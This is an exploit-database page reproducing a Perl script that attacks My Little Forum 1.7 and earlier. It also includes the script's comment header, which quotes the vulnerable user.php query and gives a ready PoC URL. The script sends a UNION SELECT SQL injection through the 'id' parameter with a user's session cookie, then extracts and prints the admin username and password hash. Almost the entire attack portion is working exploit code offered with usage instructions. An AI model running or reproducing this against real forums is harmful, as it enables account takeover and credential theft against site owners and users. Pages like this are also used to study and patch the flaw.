Lucene search
K

My Little Forum <= 1.7 (user.php id) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

My Little Forum <= 1.7 vulnerable to Remote SQL Injection for user data retrieval.

Code

                                                #!/usr/bin/perl -w

#################################################################################
#										#
#	      	  My Little Forum &#60;= 1.7 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (user.php):	 						#
#										#
#   if (isset($_GET[&#39;id&#39;])) $id = $_GET[&#39;id&#39;];					#
#										#
#   switch ($action)								#
#   {										#
#   case &#34;get userdata&#34;:							#
#   if (empty($id)) $id = $user_id;						#
#   else $result = mysql_query(&#34;SELECT user_id, user_type, user_name, 		#
#   user_real_name, user_email, hide_email, user_hp, user_place, signature, 	#
#   profile, UNIX_TIMESTAMP(registered + INTERVAL &#34;.$time_difference.&#34; HOUR) AS #
#   since_date FROM &#34;.$db_settings[&#39;userdata_table&#39;].&#34; WHERE user_id = 		#
#   &#39;&#34;.$id.&#34;&#39;&#34;, $connid);							#
#										#
# PoC: http://victim.com/forum/user.php?id=-999&#39; UNION SELECT 0,0,user_name,	#
#      user_pw,0,0,0,0,0,0,0 FROM forum_userdata where user_id=1 /*		#
#										#
# 										#
# Subject To: magic_quotes_gpc set of off & having an already existant account	#
#										#
# GoogleDork: Get your own!							#
# Shoutz: The entire w4ck1ng community						#
#										#
# Notes: You need to obtain your current Session Identifier. Variables $page, 	#
#        $descasc and $order may also be exploitable.				#
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV &#60; 2){
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;           	   My Little Forum &#60;= 1.7 SQL Injection Exploit\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;Usage: w4ck1ng_mylittleforum.pl [PATH] [SESSION_ID]\r\n\r\n&#34;;
print &#34;[PATH] = Path where My Little Forum is located\r\n&#34;;
print &#34;[SESSION_ID] = Session identifier of logged on user\r\n\r\n&#34;;
print &#34;e.g. w4ck1ng_mylittleforum.pl http://victim.com/forum/ cjjjauie95inbmo5fim8m93vo1\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
print &#34;            		        ...Silentz\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
exit();
}

$b = LWP::UserAgent-&#62;new() or die &#34;Could not initialize browser\n&#34;;
$b-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;);
$cookie = &#34;$ARGV[1];&#34;;
$host = $ARGV[0] . &#34;user.php?id=-999&#39; UNION SELECT 0,0,user_name,user_pw,0,0,0,0,0,0,0 FROM forum_userdata where user_id=1 /*&#34;;

my @cookie = (&#39;Cookie&#39; =&#62; &#34;PHPSESSID=$cookie;&#34;);
my $res = $b-&#62;get($host, @cookie);

$answer = $res-&#62;content;
if ($answer =~ /&#60;h2&#62;User info: (.*?)&#60;\/h2&#62;/){
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;           	   My Little Forum &#60;= 1.7 SQL Injection Exploit\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;[+] Admin User : $1\n&#34;;
}

if ($answer =~/&#60;p class=&#34;userdata&#34;&#62;([0-9a-fA-F]{32})&#60;\/p&#62;&#60;\/td&#62;/){
print &#34;[+] Admin Hash : $1\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
print &#34;            		        ...Silentz\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
}

else {
  print &#34;\nExploit Failed...\n&#34;;
}

# milw0rm.com [2007-05-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21